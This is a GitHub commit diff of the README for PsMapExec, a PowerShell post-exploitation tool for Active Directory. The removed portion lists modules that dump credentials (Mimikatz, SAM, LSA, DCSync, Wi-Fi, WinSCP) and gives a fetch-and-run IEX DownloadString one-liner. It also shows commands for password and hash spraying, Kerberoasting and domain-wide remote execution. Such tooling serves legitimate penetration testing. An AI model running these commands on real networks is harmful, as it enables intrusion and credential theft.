Skip to content

Commit ff90a47

Browse files
The-Viper-OneThe-Viper-One
authored
Update README.md
1 parent 9907f49 commit ff90a47

File tree

1 file changed

+9
-171
lines changed

1 file changed

+9
-171
lines changed

‎README.md‎

Lines changed: 9 additions & 171 deletions
Original file line numberDiff line numberDiff line change
@@ -10,182 +10,20 @@ A PowerShell tool heavily inspired by the popular tool CrackMapExec / NetExec. P
1010
PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.
1111

1212
For any feedback or suggestions for additions to PsMapExec please use the discussion forum:
13-
- https://github.com/The-Viper-One/PsMapExec/discussions
13+
14+
📈 https://github.com/The-Viper-One/PsMapExec/discussions
1415

1516
## How do I use it
1617

17-
It is highly recommended to go through the documentation listed below to get the most out of PsMapExec. If you do not feel like reading the documentation then simply go to the Usage section further down this document.
18-
* https://viperone.gitbook.io/pentest-everything/psmapexec
19-
* https://viperone.gitbook.io/pentest-everything/psmapexec/target-acquisition
20-
* https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials
21-
* https://viperone.gitbook.io/pentest-everything/psmapexec/methods
22-
* https://viperone.gitbook.io/pentest-everything/psmapexec/modules
23-
24-
25-
## What methods does it support
26-
27-
Currently supported methods (Protocols)
28-
29-
| Method | Description |
30-
|------------------|--------------------------------------------------|
31-
| [DCSync](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/dcsync)|DCSync |
32-
| [IPMI](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/ipmi)|Dump IPMI hashes|
33-
| [Kerberoast](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/kerberoast) |Kerberoast accounts|
34-
| [MSSQL](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/mssql)|Check access, run commands|
35-
| RDP | Check access|
36-
| [SMB](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/command-execution)|Check access, run commands|
37-
| [GenRelayList](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/genrelaylist-smb-signing)|Check SMB signing status|
38-
| [Spray](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/spray)|Spray passwords and hashes|
39-
| [SessionHunter](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/session-hunter)|Check access, run commands|
40-
| VNC |Check no auth access|
41-
| [WinRM](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/command-execution)|Check access, run commands|
42-
| [WMI](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/command-execution)|Check access, run commands|
43-
44-
### Supported Modules
45-
46-
| Module | Description |
47-
|------------------|--------------------------------------------------|
48-
| [Amnesiac](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/amnesiac)|Executes Amnesiac C2 payloads|
49-
| [ConsoleHistory](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/consolehistory)|Dumps PowerShell console history|
50-
| [Files](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/files)|Lists files in common directories for each user|
51-
| [FileZilla](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/filezilla)|Dumps Filezilla credentials
52-
| [KerbDump](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/kerbdump)|Dumps Kerberos tickets|
53-
| [eKeys](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/ekeys)|Dumps encryption keys from memory (Mimikatz)|
54-
| [LogonPasswords](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/logonpasswords)|Dumps logon passwords from memory (Mimikatz)|
55-
| [LSA](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/lsa)|Dumps LSA (Mimikatz)|
56-
| [MDF](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/mdf)|Dumps MSSQL database hashes|
57-
| [NTDS](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/ntds) |Executes DCsync on the remote system|
58-
| [Notepad](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/notepad) |Dumps notepad backup files
59-
| [NTLM](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/ntlm) |Grabs a NTLM hash for each user logon session|
60-
| [SAM](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/sam)|Dumps SAM hashes|
61-
| [SCCM](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/sccm) |Dumps local NAA credentials and task sequences|
62-
| [SessionExec](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/SessionExec) |Executes commands under each user logon session|
63-
| [SessionRelay](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/SessionRelay) |Relay NTLM hashes under each user logon session|
64-
| [TGTDeleg](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/TGTDeleg) |Grab a fresh TGT under each user logon session|
65-
| [VNC](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/vnc) | Dumps VNC credentials
66-
| [Wi-Fi](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/wi-fi) | Dumps Wi-Fi credentials
67-
| [WinSCP](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/winscp) | Dumps WinSCP credentials
68-
69-
70-
71-
72-
## Usage
73-
### Load the script directly into memory
74-
```powershell
75-
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")
76-
```
77-
### Quick examples
78-
```bash
79-
# Execute WMI commands over all systems in the domain using password authentication
80-
PsMapExec -Targets all -Method WMI -Username Admin -Password Pass -Command whoami
81-
82-
# Execute WinRM commands over all systems in the domain using hash authentication
83-
PsMapExec -Targets all -Method WinRM -Username Admin -Hash [Hash] -Command whoami
84-
85-
# Check RDP Access against workstations in the domain and using local authentication
86-
PsMapExec -Targets Workstations -Method RDP -Username LocalAdmin -Password Pass -LocalAuth
87-
88-
# Dump SAM on a single system using SMB and a -ticket for authentication
89-
PsMapExec -Targets DC01.Security.local -Method SMB -Ticket [Base64-Ticket] -Module SAM
90-
91-
# Check SMB Signing on all domain systems
92-
PsMapExec -Targets All -Method GenRelayList
93-
94-
# Dump LogonPasswords on all Domain Controllers over WinRM
95-
PsMapExec -Targets DCs -Method WinRM -Username Admin -Password Pass -Module LogonPasswords
96-
97-
# Use WMI to check current user admin access from systems read from a text file
98-
PsMapExec -Targets C:\temp\Systems.txt -Method WMI
99-
100-
# Spray passwords across all accounts in the domain
101-
PsMapExec -Method Spray -SprayPassword [Password]
102-
103-
# Spray Hashes across all accounts in the domain that have AdminCount=1
104-
PsMapExec -Targets "AdminCount=1" -Method Spray -SprayHash [Hash]
105-
106-
# Spray Hashes across all Domain Admin group users
107-
PsMapExec -Targets "Domain Admins" -Method Spray -SprayHash [Hash]
108-
109-
# Kerberoast
110-
PsMapExec -Method Kerberoast -ShowOutput
111-
112-
# IPMI
113-
PsMapExec -Targets 192.168.1.0/24 -Method IPMI
114-
```
115-
116-
### Targets Acquisition
117-
Target acquisition through PsMapExec is utilized through ADSI Searcher. As long as you are operating from a domain joined system as a domain user account, no issues should be encountered when acquiring targets.
118-
By default only enabled Active Directory computer accounts are populated into the target list. PsMapExec will set the Domain to the current user domain unless -Domain is specified.
119-
IP address targeting is less preffered than using the built in ldap queries.
120-
```bash
121-
# All workstations, servers and domain controllers within the domain
122-
PsMapExec -Targets All
123-
124-
# All workstations, servers and domain controllers on the specified domain
125-
PsMapExec -Targets All -Domain [Domain]
126-
127-
# Only servers from the domain (exluding DCs)
128-
PsMapExec -Targets Servers
129-
130-
# Only Domain Controllers from the domain
131-
PsMapExec -Targets DCs
132-
133-
# Only workstations from the domain
134-
PsMapExec -Targets Workstations
135-
136-
# Set the target values to a defined computer name
137-
PsMapExec -Targets DC01.Security.local
138-
139-
# Read targets from file
140-
PsMapExec -Targets "C:\Targets.txt"
141-
142-
# Wildcard filtering
143-
PsMapExec -Targets SRV*
144-
145-
# Single IP Address
146-
PsMapExec -Targets 192.168.56.11
147-
148-
# CIDR Range
149-
PsMapExec -Targets 192.168.56.0/24
150-
```
151-
### Authentication Types
152-
When -Command and -Module are omitted, PsMapExec will simply check the provided or current user credentials against the specified target systems for administrative access over the specified method.
153-
```powershell
154-
# Current user
155-
PsMapExec -Targets All -Method [Method]
156-
157-
# With Password
158-
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]
159-
160-
# With Hash
161-
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256/NTLM]
162-
163-
# With Ticket
164-
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]
165-
166-
# Local Authentication (WMI only)
167-
PsMapExec -Targets All -Method WMI -LocalAuth
168-
```
169-
### Command Execution
170-
All currently supported command execution methods support the -Command parameter. The command parameter can be appended to the above Authentication Types to execute given commands as a specified or the current user.
171-
```powershell
172-
PsMapExec -Targets All -Method [Method] -Command [Command]
173-
```
174-
175-
### Module Execution
176-
All currently supported command execution methods support the -Module parameter. The module parameter can be appended to the Authentication Types to execute given modules as a specified or the current user.
177-
```powershell
178-
PsMapExec -Targets All -Method [Method] -Module [Module]
179-
```
180-
A list of modules is linked below in the Detailed Usage section.
18+
It is highly recommended to go through the documentation detailed in the Wiki for usage guidance.
19+
20+
📚 https://github.com/The-Viper-One/PsMapExec/wiki
21+
22+
## Pro Tip
18123

182-
## Detailed Usage
183-
* https://viperone.gitbook.io/pentest-everything/psmapexec
184-
* https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials
185-
* https://viperone.gitbook.io/pentest-everything/psmapexec/methods
186-
* https://viperone.gitbook.io/pentest-everything/psmapexec/modules
187-
* https://viperone.gitbook.io/pentest-everything/psmapexec/spray
24+
Pair PsMapExec with the enumeration capabilities of Invoke-Adenum if you want to assess Active Directory on easy mode
18825

26+
🔍 https://github.com/Leo4j/Invoke-ADEnum
18927

19028
## Acknowledgements
19129
* https://github.com/Leo4j (A good friend and excellent pentester who has helped me with the code)

0 commit comments

Comments
 (0)